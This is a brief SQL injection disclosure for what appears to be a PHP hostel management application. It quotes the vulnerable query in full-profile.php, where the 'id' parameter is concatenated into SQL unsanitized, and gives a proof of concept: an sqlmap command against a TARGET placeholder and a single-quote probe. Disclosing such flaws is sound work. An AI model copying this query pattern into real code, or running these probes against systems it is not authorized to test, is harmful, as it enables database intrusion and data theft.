--Vulnerable file /full-profile.php

--Vulnerable code;
    $ret= mysqli_query($con,"SELECT * FROM registration where emailid = '".$_GET['id']."'");

    Id parameter's value is going into sql query directly!

--Proof Of Concept 
   
   sqlmap -u "https://TARGET/hostel/full-profile.php?id=6" 
   OR
   https://TARGET/hostel/full-profile.php?id=6' Single Quote will cause SQL error
